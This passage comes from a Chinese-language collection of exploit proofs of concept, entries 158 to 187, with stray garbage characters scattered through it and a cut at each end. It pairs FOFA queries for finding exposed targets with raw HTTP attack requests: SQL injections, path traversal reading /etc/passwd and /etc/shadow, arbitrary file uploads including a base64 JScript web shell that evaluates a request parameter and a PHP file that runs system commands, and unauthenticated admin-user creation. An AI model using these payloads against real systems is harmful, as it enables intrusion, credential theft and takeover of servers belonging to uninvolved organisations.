& w1 L6 [1 y2 s, yContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
, U0 P/ M( t0 Q& j# ZContent-Disposition: form-data; name="key"

null
" _5 `2 U2 V+ F------WebKitFormBoundary1imovELzPsfzp5dN
8 O0 |4 G5 u- U3 J6 W9 r2 ]# J' H* M( bContent-Disposition: form-data; name="form"
4 C; n2 A5 ^8 y
4 n: K" Q7 `9 d8 x. Nnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
, a( [- `2 w1 g
null
------WebKitFormBoundary1imovELzPsfzp5dN
3 K8 |- t3 t* }6 L4 U; M. N# M5 n- PContent-Disposition: form-data; name="filefolder"

; q7 a7 @/ w" v* inull
------WebKitFormBoundary1imovELzPsfzp5dN--

* P; H7 D% F' A2 r% N( r
/ T6 S7 H. [/ C% I& ?http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
( V3 @3 [! u4 B) i5 N$ }' {
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
+ Z, C' j0 u2 Y7 q8 K9 RContent-Type: application/x-www-form-urlencoded
0 M" k9 a8 k: x
object=displayregion&contenthistid=x\'&previewid=1

5 m6 v& M5 c0 ]& b2 y
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
# y. a1 u2 {0 L6 ^0 R% b+ _FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
/ \" S5 C! H: ]' \3 |; C/ |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
# ^% Y# F1 H, e; U( ^Accept-Encoding: gzip, deflate
* d; n) M. M% d# R- v# eConnection: close
/ w4 z" `; K9 i  _% r2 A3 [) tContent-Type: text/xml; charset=utf-8
/ a% H5 g3 ?% P9 nSoapaction: "http://rainier/jobUpload"
2 x3 |. Y8 B  O" C. y
<?xml version="1.0" encoding="utf-8"?>
: U6 I( T: j3 D$ }<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
5 K- G* R1 H$ H/ [' |<soap:Body>
" a( K) E& |4 m. y<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
4 H9 g  o, I& f3 {2 Y* C* H5 V% e<fileName>abcrce.asmx</fileName>
$ H! G. z3 ], d2 s; F" M3 w( F<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
0 r, D1 W6 P+ V( Y+ S' d</soap:Body>
& |" V/ Y9 j8 a2 Y( x3 [' g</soap:Envelope>
" g5 t% K- k/ T# J9 W
7 C; s1 t, h) R- V, A
0 ?4 F/ A8 o/ r' l+ J. x/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
5 {' H& n% X$ g; |1 e' g' b6 \

2 N) A/ h. l; |8 l4 l* I160. Sonatype Nexus Repository 3目录遍历与文件读取
- n! @1 e4 K7 BCVE-2024-4956
+ m% M; X* v! y8 F) N0 l5 _! p) iFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
& a( o- B* G3 L9 G; N! V& s3 eConnection: close
( R+ b) w, `# X6 IAccept: */*
Accept-Language: en
Accept-Encoding: gzip

, v' Q# J0 j6 |( i. c6 \/ h$ \
4 e3 B: c$ f% M8 a$ {7 W: J0 |161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
3 w  p# B: }3 U" W% l. j2 zFOFA：body="/KT_Css/qd_defaul.css"
* y$ L" K  ]* I6 N9 V7 ^  B第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
+ I4 X7 t" a& zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
' q) D  i  `# L. P$ u+ TContent-Length: 445
Content-Type: text/xml
1 N* P4 c! m7 ZAccept-Encoding: gzip
7 I  e3 u0 ~" }: l
<?xml version="1.0" encoding="utf-8"?>
1 c3 k! C; B$ F  }8 \<soap:Envelope xmlns:xsi="
1 x" @7 [! S3 X) [/ Lhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
% M  n3 t; b; Bxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
: b* z% j* t* Q2 {8 R<fileName>../../../../dizxdell.aspx</fileName>
* {/ K1 V. l# r8 C3 U7 w0 M<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
% |$ O  r: r+ f; F( v% v<tag>3</tag>
</UploadResume>
% C# T0 K+ h- c0 E# P& P3 {9 _</soap:Body>
1 d+ j6 b2 Z) ?, @</soap:Envelope>


http://x.x.x.x/dizxdell.aspx

/ j; F( j4 c7 \) p& Q  `1 c162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
, A- r% L& ?# s/ p! r- xFOFA: app="和丰山海-数字标牌"
. j2 I: j- Y& d& DPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
: o: G: Y& ?+ SContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
. A& H6 S$ r  Z- q" YAccept-Encoding: gzip

) ]/ G. Y& ]0 d5 ?6 d2 G------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

1 U& d# q' J, R; b$ s( y<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
) h+ _, j; u. ~/ \Content-Disposition: form-data; name="action"

upload
! t1 w, i4 x: U, B------WebKitFormBoundaryeegvclmyurlotuey
6 d! N2 @- F5 C) ]2 u& f5 @Content-Disposition: form-data; name="responderId"
- J5 J' w8 ^6 h: F
) y+ _# b) X0 C' z! C6 T! MResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
+ ]' l, @0 R; G3 |: P
/opt/resources
& x! ]. t- B  c. N4 w- Z8 X/ F------WebKitFormBoundaryeegvclmyurlotuey--

( V- n. i/ Q  r; h6 I3 o
: |. i( I7 f( ]/ o* w* G! nhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
  a/ w; I( z) nFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
  n/ G' @: s( i; c# D2 N4 U; UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
7 {, T3 R& g* d- G8 V, E: aConnection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
& [$ C9 q* Y; l% i0 W2 z7 y! yAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
: v5 M' q3 v3 S: G! @4 ]- s
% M7 }7 u# v& [: D9 V3 U------iiqvnofupvhdyrcoqyuujyetjvqgocod
4 \) o  ^, [" i) D1 f( O, TContent-Disposition: form-data; name="name"

1.php
" Q3 R0 ?2 r4 v' W- q8 P8 W7 D; D------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
( w& Q6 v9 s" K# U6 jContent-Type: image/jpeg

) {- m+ n6 _4 y9 C, d8 R0 Trvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

4 i" ^) D5 p4 R5 M+ W8 ]! D  ~
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
! c9 X" v$ U0 sFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
2 Z: [  m8 i" K1 Q5 u4 Z: ^: o0 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
+ z; z/ q+ P. q6 E& G5 AContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
0 C* D/ U* M4 ?0 \4 jConnection: close
0 U/ K$ y  Y. S) k) K" o5 G9 X2 PContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
; u  y3 \1 x% k* W* hAccept-Encoding: gzip
% x5 u1 ~% k1 B% R4 m$ s3 l
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
4 W+ s- G- o% d* ]+ m/ {% D& hContent-Type: image/jpeg
5 ?7 K$ A% y! N$ q$ Y8 W8 d
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
& [2 ?# h% x% D------dqdaieopnozbkapjacdbdthlvtlyl--
, a. K* q, n' W8 A

! t2 Y- d  i5 }8 Ihttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
  Q* F3 T6 ]- G( WFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
/ Z+ x" r) y* F. OHost:
2 Q9 {" C) k5 l4 I) ~+ tPragma: no-cache
Cache-Control: no-cache
) h7 E1 @2 Q( jUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) ?* U% e8 o) v; k8 L+ jAccept-Encoding: gzip, deflate
% L% I# F( g9 W6 C7 ^Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
3 V* y( X7 s% [7 t: b3 i% mCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
3 k3 _- p, l0 L) J9 yContent-Type: application/x-www-form-urlencoded
7 J, c/ q7 ~8 M. @) s6 p& @7 N& `6 ^Content-Length: 89

; I$ _' {1 p8 `7 d, cMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
& E5 T  E( O6 w* T  s' J* e" hFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
; I9 I5 S; z8 M, ^" F6 i9 [GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
1 H( a3 S% q6 ]7 p- QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
. A* x. h% G% K4 _0 @Accept: */*
Connection: keep-alive


. G& t8 ^% J  E4 M& q168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
/ ]  r6 v. Y! R( ]$ o! aGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
" a' D* b1 ]! d& d' X2 e+ z3 lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
( Y2 H7 y0 M/ HContent-Type: application/x-www-form-urlencoded
6 N5 U; z3 b' ?- Z$ @Connection: close

0 |, V* k3 ?* {4 F, K) v
8 x0 s9 O3 m" r7 H" [7 E
: S* Q! l- @4 |" h6 k169. 宏景EHR downlawbase SQL注入
1 T! Y, ^# F1 V% Y  dFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 I% |9 ?8 I; E  u0 Y) EAccept: */*
  }& i) j: r4 F# z& v" RAccept-Encoding: gzip, deflate
Connection: close
$ g* I/ G  c  w: u$ p. o+ E
6 r! |1 }4 ]& n
2 n; }+ L! l6 K4 P
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
9 g$ g% O" ~" \POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# A  A5 {. x' W, f  }; tContent-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
$ Q  B5 H8 N0 U$ Z
) Y5 f9 [, s+ p3 x1 h6 J
171. 通天星CMSV6车载定位监控平台 SQL注入
4 _, H, J& M6 q% r; dFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 c  \0 T* X" {8 R1 @Accept-Encoding: gzip, deflate
Connection: close


4 d7 M( f* g. m% ~' O/ B
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 V& N1 T1 l0 o, oAccept-Encoding: gzip, deflate
3 ]! J' k$ g& \" |  O: uAccept: */*
Connection: keep-alive

& I' p! T- v0 y: G# E

173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
4 b+ p5 e4 f8 J7 M  WContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow

3 e, W& H# `; V" P1 y

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
- t9 K* m  Y( T1 Y& a0 xGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
, ~# w' l/ _; G- C7 [: P2 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# P# Z5 }* A+ e' Q: }0 q


175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
7 c( U; R( _$ i* o  FGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
) \- |* h0 p  R$ ?5 MHost:
0 d' R* P7 q) ^3 d  D. JUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" z7 d  l. z7 F8 E+ JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
1 l$ V$ E$ @$ G" t* b4 OConnection: close
Upgrade-Insecure-Requests: 1
% ^+ \4 d# ?+ y+ i: [/ O
+ u$ d7 ?1 z3 }( |
176. 电信网关配置管理系统 rewrite.php 文件上传
, U( m& b1 z9 l- I$ J: [# VFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
6 n" M* u, c* }# IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
1 ?, y* T, e# H( Q3 cContent-Type: image/png
* G- f: \7 \* E  a  q
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--

: \1 {$ l" ]' N- m1 Y
+ n2 \9 c* @: |- X
177. H3C路由器敏感信息泄露
2 V0 s) g" w+ @+ ]; Q3 \% P; F3 Z/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
; n' T9 N# z. [! z9 h* c5 D7 y6 A/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
" \7 c% k) ]" g/userLogin.asp/../actionpolicy_status/../GR5200.cfg
) g+ k0 A0 B: D' H. ], M/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
( h( \" H& F& g1 c9 d- E4 s8 h) p/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
8 U3 R( n5 J0 l, a4 w5 b0 m/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
- V+ d1 N! z( J  h: R. l/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
8 h. V$ `3 a, d* @  d  ^* {2 K/userLogin.asp/../actionpolicy_status/../ER5100.cfg
. X, B% R! ^& d  P0 P/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
# \+ B* V7 @; A  V: r/userLogin.asp/../actionpolicy_status/../ER3260.cfg
+ `, I4 [/ z# k  e% f7 |/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
% @( m! b7 h' \: m3 O5 U/userLogin.asp/../actionpolicy_status/../ER3100.cfg
4 ~& s8 D+ @+ K5 R+ Z/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


1 S1 V: F  U3 k178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
. q! f3 P' P9 o8 qPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
% x# I* i  L* t+ K0 d1 K# OHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
4 G& v3 `4 z$ T4 x# X5 @9 G1 w" dContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
* ?  w$ T- t0 c" t* [0 t. \! W
12234
2 H; N0 M/ c; f+ |) u2 E-----------------aqutkea7vvanpqy3rh2l--


GET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
. |9 [5 f5 s3 @5 V: A: SPOST /Common/DownLoad2.aspx HTTP/1.1
4 Z$ |$ ~7 A( _( sHost: {{Hostname}}
! Y! M& }+ z4 T. v# MContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
7 |; U- p% o8 y& w3 G
7 M- m+ f3 Y% @% f9 C+ [0 Wpath=../log4net.config&Name=
& o5 _, h. {' a  O6 s9 p

180. 帮管客 CRM jiliyu SQL注入
% _2 _. A4 k# jFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
; ~" c0 G  V' W+ R* z' T& b' c" gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 U- _3 l3 _6 j( EAccept-Language: zh-CN,zh;q=0.9
Connection: close

" y% y2 p$ s/ N! v4 v( a* u7 H
7 p* U# _+ t; J: q181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
; X  p! k! |7 G( Z4 d1 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
" R5 M! j4 |. z2 kConnection: close
* ~, f8 s; _) M2 u, J" F2 _Content-Type: application/x-www-form-urlencoded

( E2 Y6 g# F1 F  x! t2 _4 L5 p
' C. @+ f, |, m% ]action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

3 @+ Y$ o8 b4 w; @, Q
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
" l1 F, f8 W1 f% u3 @' I! GFOFA："PDCA/js/_publicCom.js"
. ^# C- Y' g: S" L- H# F8 X) _POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) ^  ~* w- z7 P' E$ c" jAccept-Encoding: gzip, deflate, br
  {: s, X2 i/ t: w3 qAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
" c% \# b/ Z) \, l) B7 ]# T

username=test1234&pwd=test1234&savedays=1
2 @* K3 b2 R6 L$ L

" d! l3 E# N; U- C( E183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
8 r1 i1 Y/ F& B$ n0 W2 j$ Q4 XGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
2 d& W! r7 c1 z% a8 v* OHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
2 O7 y! e, N$ p& [( EAccept-Encoding: gzip, deflate
5 ^- J+ b9 z2 P' y/ ?5 z3 TConnection: close
/ x7 b0 l: {  G) l9 z6 J

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
8 V1 b( m' H) h2 d$ X3 Q! V1 zFOFA：server="SunFull-Webs"
0 A* w, u# k" XPOST /soap/AddUser HTTP/1.1
Host: your-ip
0 _3 E: _1 [( o3 z+ m6 n5 n% L2 GAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
9 E- `* T' o  c$ BAccept: application/xml, text/xml, */*; q=0.01
3 ~' C& c3 o6 U5 FContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
/ Y- s- y1 f) i
$ \6 d8 R: D3 Z3 G& U7 N. t/ b3 U
& ]( S: O/ R! G8 iinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
) R2 f% z  D5 U1 V! u" ?
* `) q" {: X8 v- h5 Q
185. 瑞友天翼应用虚拟化系统SQL注入
. O# S5 a8 h1 [! g- Uversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

( O0 F- @; B9 V- h
186. F-logic DataCube3 SQL注入
CVE-2024-31750
7 F8 B2 x: ?3 I/ S- vF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
& N. F0 z$ n  r: A# [  x( UFOFA：title=="DataCube3"
3 J, k; U% h) g' Y2 H6 D( L. CPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
: P( X3 \+ M8 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
( P% ^/ Y" V" ?4 x; C# [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  E* B, ]" i" H! tConnection: close
% H; h0 X9 |: C1 w. V5 |' ~1 EContent-Type: application/x-www-form-urlencoded
5 w+ }- n: K! H! i' y8 B
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


9 x+ L* N. l( U3 o. [6 I187. Mura CMS processAsyncObject SQL注入
